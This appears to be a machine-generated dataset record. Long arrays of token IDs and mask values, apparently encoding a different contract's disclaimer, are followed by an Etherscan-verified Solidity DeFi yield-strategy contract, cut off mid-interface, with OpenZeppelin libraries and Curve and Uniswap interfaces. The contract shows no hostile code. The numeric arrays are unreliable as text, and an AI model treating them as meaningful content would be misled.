9413,
2278,
11387,
1011,
13103,
1013,
1008,
1008,
3602,
1024,
1000,
3206,
3120,
3642,
20119,
1006,
2714,
2674,
1007,
1000,
2965,
2008,
2023,
19204,
2003,
2714,
2000,
2060,
19204,
2015,
7333,
1008,
2478,
1996,
2168,
13103,
1012,
2009,
2003,
2025,
2019,
3277,
1012,
2009,
2965,
2008,
2017,
2180,
1005,
1056,
2342,
2000,
20410,
2115,
3120,
3642,
2138,
1997,
1008,
2009,
2003,
2525,
20119,
1012,
1008,
1008,
5860,
19771,
5017,
1024,
13103,
1005,
1055,
3166,
2003,
2489,
1997,
2151,
14000,
4953,
1996,
19204,
1998,
1996,
2224,
2008,
2003,
2081,
1997,
2009,
1012,
1008,
1996,
2206,
3642,
2003,
3024,
2104,
10210,
6105,
1012,
3087,
2064,
2224,
2009,
2004,
2566,
2037,
3791,
1012,
1008,
1996,
13103,
1005,
1055,
3800,
2003,
2000,
2191,
2111,
2583,
2000,
19204,
4697,
2037,
4784,
2302,
16861,
2030,
7079,
2005,
2009,
1012,
1008,
3120,
3642,
2003,
2092,
7718,
1998,
10843,
7172,
2000,
5547,
3891,
1997,
12883,
1998,
2000,
8970,
2653,
20600,
2015,
1012,
1008,
4312,
1996,
5309,
1997,
19204,
2015,
7336,
1037,
2152,
3014,
1997,
3891,
1012,
2077,
13868,
19204,
2015,
1010,
2009,
2003,
6749,
2000,
1008,
5362,
21094,
2035,
1996,
2592,
1998,
10831,
6851,
1999,
19204,
3954,
1005,
1055,
3785,
1012,
1008,
1013,
1013,
1013,
5371,
1024,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
19204,
1013,
9413,
2278,
11387,
1013,
29464,
11890,
11387,
1012,
14017,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1014,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
8278,
1997,
1996,
9413,
2278,
11387,
3115,
2004,
4225,
1999,
1996,
1041,
11514,
1012,
1008,
1013,
8278,
29464,
11890,
11387,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3815,
1997,
19204,
2015,
1999,
4598,
1012,
1008,
1013,
3853,
21948,
6279,
22086,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3815,
1997,
19204,
2015,
3079,
2011,
1036,
4070,
1036,
1012,
1008,
1013,
3853,
5703,
11253,
1006,
4769,
4070,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5829,
1036,
3815,
1036,
19204,
2015,
2013,
1996,
20587,
1005,
1055,
4070,
2000,
1036,
7799,
1036,
1012,
1008,
1008,
5651,
1037,
22017,
20898,
3643,
8131,
3251,
1996,
3169,
4594,
1012,
1008,
1008,
12495,
3215,
1037,
1063,
4651,
1065,
2724,
1012,
1008,
1013,
3853,
4651,
1006,
4769,
7799,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3588,
2193,
1997,
19204,
2015,
2008,
1036,
5247,
2121,
1036,
2097,
2022,
1008,
3039,
2000,
5247,
2006,
6852,
1997,
1036,
3954,
1036,
2083,
1063,
4651,
19699,
5358,
1065,
1012,
2023,
2003,
1008,
5717,
2011,
12398,
1012,
1008,
1008,
2023,
3643,
3431,
2043,
1063,
14300,
1065,
2030,
1063,
4651,
19699,
5358,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1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
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2021-03-11
*/
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.6.11;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint value);
}
// File: @openzeppelin/contracts/math/SafeMath.sol
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint a, uint b) internal pure returns (bool, uint) {
uint c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint a, uint b) internal pure returns (bool, uint) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint a, uint b) internal pure returns (bool, uint) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint a, uint b) internal pure returns (bool, uint) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint a, uint b) internal pure returns (bool, uint) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint a, uint b) internal pure returns (uint) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) return 0;
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint a, uint b) internal pure returns (uint) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint a, uint b) internal pure returns (uint) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint a,
uint b,
string memory errorMessage
) internal pure returns (uint) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint a,
uint b,
string memory errorMessage
) internal pure returns (uint) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint a,
uint b,
string memory errorMessage
) internal pure returns (uint) {
require(b > 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/utils/Address.sol
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint size;
// solhint-disable-next-line no-inline-assembly
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint value
) internal returns (bytes memory) {
return
functionCallWithValue(
target,
data,
value,
"Address: low-level call with value failed"
);
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint value,
string memory errorMessage
) internal returns (bytes memory) {
require(
address(this).balance >= value,
"Address: insufficient balance for call"
);
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data)
internal
view
returns (bytes memory)
{
return
functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return
functionDelegateCall(
target,
data,
"Address: low-level delegate call failed"
);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint value
) internal {
_callOptionalReturn(
token,
abi.encodeWithSelector(token.transfer.selector, to, value)
);
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint value
) internal {
_callOptionalReturn(
token,
abi.encodeWithSelector(token.transferFrom.selector, from, to, value)
);
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(
token,
abi.encodeWithSelector(token.approve.selector, spender, value)
);
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint value
) internal {
uint newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(
token,
abi.encodeWithSelector(token.approve.selector, spender, newAllowance)
);
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint value
) internal {
uint newAllowance =
token.allowance(address(this), spender).sub(
value,
"SafeERC20: decreased allowance below zero"
);
_callOptionalReturn(
token,
abi.encodeWithSelector(token.approve.selector, spender, newAllowance)
);
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata =
address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
// solhint-disable-next-line max-line-length
require(
abi.decode(returndata, (bool)),
"SafeERC20: ERC20 operation did not succeed"
);
}
}
}
// File: contracts/protocol/IStrategy.sol
/*
version 1.2.0
Changes
Changes listed here do not affect interaction with other contracts (Vault and Controller)
- removed function assets(address _token) external view returns (bool);
- remove function deposit(uint), declared in IStrategyERC20
- add function setSlippage(uint _slippage);
- add function setDelta(uint _delta);
*/
interface IStrategy {
function admin() external view returns (address);
function controller() external view returns (address);
function vault() external view returns (address);
/*
@notice Returns address of underlying asset (ETH or ERC20)
@dev Must return 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE for ETH strategy
*/
function underlying() external view returns (address);
/*
@notice Returns total amount of underlying transferred from vault
*/
function totalDebt() external view returns (uint);
function performanceFee() external view returns (uint);
function slippage() external view returns (uint);
/*
@notice Multiplier used to check total underlying <= total debt * delta / DELTA_MIN
*/
function delta() external view returns (uint);
/*
@dev Flag to force exit in case normal exit fails
*/
function forceExit() external view returns (bool);
function setAdmin(address _admin) external;
function setController(address _controller) external;
function setPerformanceFee(uint _fee) external;
function setSlippage(uint _slippage) external;
function setDelta(uint _delta) external;
function setForceExit(bool _forceExit) external;
/*
@notice Returns amount of underlying asset locked in this contract
@dev Output may vary depending on price of liquidity provider token
where the underlying asset is invested
*/
function totalAssets() external view returns (uint);
/*
@notice Withdraw `_amount` underlying asset
@param amount Amount of underlying asset to withdraw
*/
function withdraw(uint _amount) external;
/*
@notice Withdraw all underlying asset from strategy
*/
function withdrawAll() external;
/*
@notice Sell any staking rewards for underlying and then deposit undelying
*/
function harvest() external;
/*
@notice Increase total debt if profit > 0 and total assets <= max,
otherwise transfers profit to vault.
@dev Guard against manipulation of external price feed by checking that
total assets is below factor of total debt
*/
function skim() external;
/*
@notice Exit from strategy
@dev Must transfer all underlying tokens back to vault
*/
function exit() external;
/*
@notice Transfer token accidentally sent here to admin
@param _token Address of token to transfer
@dev _token must not be equal to underlying token
*/
function sweep(address _token) external;
}
// File: contracts/protocol/IStrategyERC20.sol
interface IStrategyERC20 is IStrategy {
/*
@notice Deposit `amount` underlying ERC20 token
@param amount Amount of underlying ERC20 token to deposit
*/
function deposit(uint _amount) external;
}
// File: contracts/protocol/IController.sol
interface IController {
function ADMIN_ROLE() external view returns (bytes32);
function HARVESTER_ROLE() external view returns (bytes32);
function admin() external view returns (address);
function treasury() external view returns (address);
function setAdmin(address _admin) external;
function setTreasury(address _treasury) external;
function grantRole(bytes32 _role, address _addr) external;
function revokeRole(bytes32 _role, address _addr) external;
/*
@notice Set strategy for vault
@param _vault Address of vault
@param _strategy Address of strategy
@param _min Minimum undelying token current strategy must return. Prevents slippage
*/
function setStrategy(
address _vault,
address _strategy,
uint _min
) external;
// calls to strategy
/*
@notice Invest token in vault into strategy
@param _vault Address of vault
*/
function invest(address _vault) external;
function harvest(address _strategy) external;
function skim(address _strategy) external;
/*
@notice Withdraw from strategy to vault
@param _strategy Address of strategy
@param _amount Amount of underlying token to withdraw
@param _min Minimum amount of underlying token to withdraw
*/
function withdraw(
address _strategy,
uint _amount,
uint _min
) external;
/*
@notice Withdraw all from strategy to vault
@param _strategy Address of strategy
@param _min Minimum amount of underlying token to withdraw
*/
function withdrawAll(address _strategy, uint _min) external;
/*
@notice Exit from strategy
@param _strategy Address of strategy
@param _min Minimum amount of underlying token to withdraw
*/
function exit(address _strategy, uint _min) external;
}
// File: contracts/StrategyERC20.sol
/*
version 1.2.0
Changes from StrategyBase
- performance fee capped at 20%
- add slippage gaurd
- update skim(), increments total debt withoud withdrawing if total assets
is near total debt
- sweep - delete mapping "assets" and use require to explicitly check protected tokens
- add immutable to vault
- add immutable to underlying
- add force exit
*/
// used inside harvest
abstract contract StrategyERC20 is IStrategyERC20 {
using SafeERC20 for IERC20;
using SafeMath for uint;
address public override admin;
address public override controller;
address public immutable override vault;
address public immutable override underlying;
// total amount of underlying transferred from vault
uint public override totalDebt;
// performance fee sent to treasury when harvest() generates profit
uint public override performanceFee = 500;
uint private constant PERFORMANCE_FEE_CAP = 2000; // upper limit to performance fee
uint internal constant PERFORMANCE_FEE_MAX = 10000;
// prevent slippage from deposit / withdraw
uint public override slippage = 100;
uint internal constant SLIPPAGE_MAX = 10000;
/*
Multiplier used to check totalAssets() is <= total debt * delta / DELTA_MIN
*/
uint public override delta = 10050;
uint private constant DELTA_MIN = 10000;
// Force exit, in case normal exit fails
bool public override forceExit;
constructor(
address _controller,
address _vault,
address _underlying
) public {
require(_controller != address(0), "controller = zero address");
require(_vault != address(0), "vault = zero address");
require(_underlying != address(0), "underlying = zero address");
admin = msg.sender;
controller = _controller;
vault = _vault;
underlying = _underlying;
}
modifier onlyAdmin() {
require(msg.sender == admin, "!admin");
_;
}
modifier onlyAuthorized() {
require(
msg.sender == admin || msg.sender == controller || msg.sender == vault,
"!authorized"
);
_;
}
function setAdmin(address _admin) external override onlyAdmin {
require(_admin != address(0), "admin = zero address");
admin = _admin;
}
function setController(address _controller) external override onlyAdmin {
require(_controller != address(0), "controller = zero address");
controller = _controller;
}
function setPerformanceFee(uint _fee) external override onlyAdmin {
require(_fee <= PERFORMANCE_FEE_CAP, "performance fee > cap");
performanceFee = _fee;
}
function setSlippage(uint _slippage) external override onlyAdmin {
require(_slippage <= SLIPPAGE_MAX, "slippage > max");
slippage = _slippage;
}
function setDelta(uint _delta) external override onlyAdmin {
require(_delta >= DELTA_MIN, "delta < min");
delta = _delta;
}
function setForceExit(bool _forceExit) external override onlyAdmin {
forceExit = _forceExit;
}
function _increaseDebt(uint _underlyingAmount) private {
uint balBefore = IERC20(underlying).balanceOf(address(this));
IERC20(underlying).safeTransferFrom(vault, address(this), _underlyingAmount);
uint balAfter = IERC20(underlying).balanceOf(address(this));
totalDebt = totalDebt.add(balAfter.sub(balBefore));
}
function _decreaseDebt(uint _underlyingAmount) private {
uint balBefore = IERC20(underlying).balanceOf(address(this));
IERC20(underlying).safeTransfer(vault, _underlyingAmount);
uint balAfter = IERC20(underlying).balanceOf(address(this));
uint diff = balBefore.sub(balAfter);
if (diff >= totalDebt) {
totalDebt = 0;
} else {
totalDebt -= diff;
}
}
function _totalAssets() internal view virtual returns (uint);
/*
@notice Returns amount of underlying tokens locked in this contract
*/
function totalAssets() external view override returns (uint) {
return _totalAssets();
}
function _deposit() internal virtual;
/*
@notice Deposit underlying token into this strategy
@param _underlyingAmount Amount of underlying token to deposit
*/
function deposit(uint _underlyingAmount) external override onlyAuthorized {
require(_underlyingAmount > 0, "deposit = 0");
_increaseDebt(_underlyingAmount);
_deposit();
}
/*
@notice Returns total shares owned by this contract for depositing underlying
into external Defi
*/
function _getTotalShares() internal view virtual returns (uint);
function _getShares(uint _underlyingAmount, uint _totalUnderlying)
internal
view
returns (uint)
{
/*
calculate shares to withdraw
w = amount of underlying to withdraw
U = total redeemable underlying
s = shares to withdraw
P = total shares deposited into external liquidity pool
w / U = s / P
s = w / U * P
*/
if (_totalUnderlying > 0) {
uint totalShares = _getTotalShares();
return _underlyingAmount.mul(totalShares) / _totalUnderlying;
}
return 0;
}
function _withdraw(uint _shares) internal virtual;
/*
@notice Withdraw undelying token to vault
@param _underlyingAmount Amount of underlying token to withdraw
@dev Caller should implement guard against slippage
*/
function withdraw(uint _underlyingAmount) external override onlyAuthorized {
require(_underlyingAmount > 0, "withdraw = 0");
uint totalUnderlying = _totalAssets();
require(_underlyingAmount <= totalUnderlying, "withdraw > total");
uint shares = _getShares(_underlyingAmount, totalUnderlying);
if (shares > 0) {
_withdraw(shares);
}
// transfer underlying token to vault
/*
WARNING: Here we are transferring all funds in this contract.
This operation is safe under 2 conditions:
1. This contract does not hold any funds at rest.
2. Vault does not allow user to withdraw excess > _underlyingAmount
*/
uint underlyingBal = IERC20(underlying).balanceOf(address(this));
if (underlyingBal > 0) {
_decreaseDebt(underlyingBal);
}
}
function _withdrawAll() internal {
uint totalShares = _getTotalShares();
if (totalShares > 0) {
_withdraw(totalShares);
}
uint underlyingBal = IERC20(underlying).balanceOf(address(this));
if (underlyingBal > 0) {
IERC20(underlying).safeTransfer(vault, underlyingBal);
totalDebt = 0;
}
}
/*
@notice Withdraw all underlying to vault
@dev Caller should implement guard agains slippage
*/
function withdrawAll() external override onlyAuthorized {
_withdrawAll();
}
/*
@notice Sell any staking rewards for underlying and then deposit undelying
*/
function harvest() external virtual override;
/*
@notice Increase total debt if profit > 0 and total assets <= max,
otherwise transfers profit to vault.
@dev Guard against manipulation of external price feed by checking that
total assets is below factor of total debt
*/
function skim() external override onlyAuthorized {
uint totalUnderlying = _totalAssets();
require(totalUnderlying > totalDebt, "total underlying < debt");
uint profit = totalUnderlying - totalDebt;
// protect against price manipulation
uint max = totalDebt.mul(delta) / DELTA_MIN;
if (totalUnderlying <= max) {
/*
total underlying is within reasonable bounds, probaly no price
manipulation occured.
*/
/*
If we were to withdraw profit followed by deposit, this would
increase the total debt roughly by the profit.
Withdrawing consumes high gas, so here we omit it and
directly increase debt, as if withdraw and deposit were called.
*/
totalDebt = totalDebt.add(profit);
} else {
/*
Possible reasons for total underlying > max
1. total debt = 0
2. total underlying really did increase over max
3. price was manipulated
*/
uint shares = _getShares(profit, totalUnderlying);
if (shares > 0) {
uint balBefore = IERC20(underlying).balanceOf(address(this));
_withdraw(shares);
uint balAfter = IERC20(underlying).balanceOf(address(this));
uint diff = balAfter.sub(balBefore);
if (diff > 0) {
IERC20(underlying).safeTransfer(vault, diff);
}
}
}
}
function exit() external virtual override;
function sweep(address) external virtual override;
}
// File: contracts/interfaces/uniswap/Uniswap.sol
interface Uniswap {
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactTokensForETH(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
}
// File: contracts/interfaces/curve/StableSwapSBTC.sol
interface StableSwapSBTC {
/*
0 renBTC
1 wBTC
2 sBTC
*/
function add_liquidity(uint[3] memory amounts, uint min) external;
function remove_liquidity_one_coin(
uint amount,
int128 index,
uint min
) external;
function get_virtual_price() external view returns (uint);
function balances(int128 index) external view returns (uint);
}
// File: contracts/interfaces/curve/StableSwapOBTC.sol
interface StableSwapOBTC {
/*
0 oBTC
1 renBTC
2 wBTC
3 sBTC
*/
function get_virtual_price() external view returns (uint);
function balances(uint index) external view returns (uint);
}
// File: contracts/interfaces/curve/DepositOBTC.sol
interface DepositOBTC {
/*
0 oBTC
1 renBTC
2 wBTC
3 sBTC
*/
function add_liquidity(uint[4] memory amounts, uint min) external returns (uint);
function remove_liquidity_one_coin(
uint amount,
int128 index,
uint min
) external returns (uint);
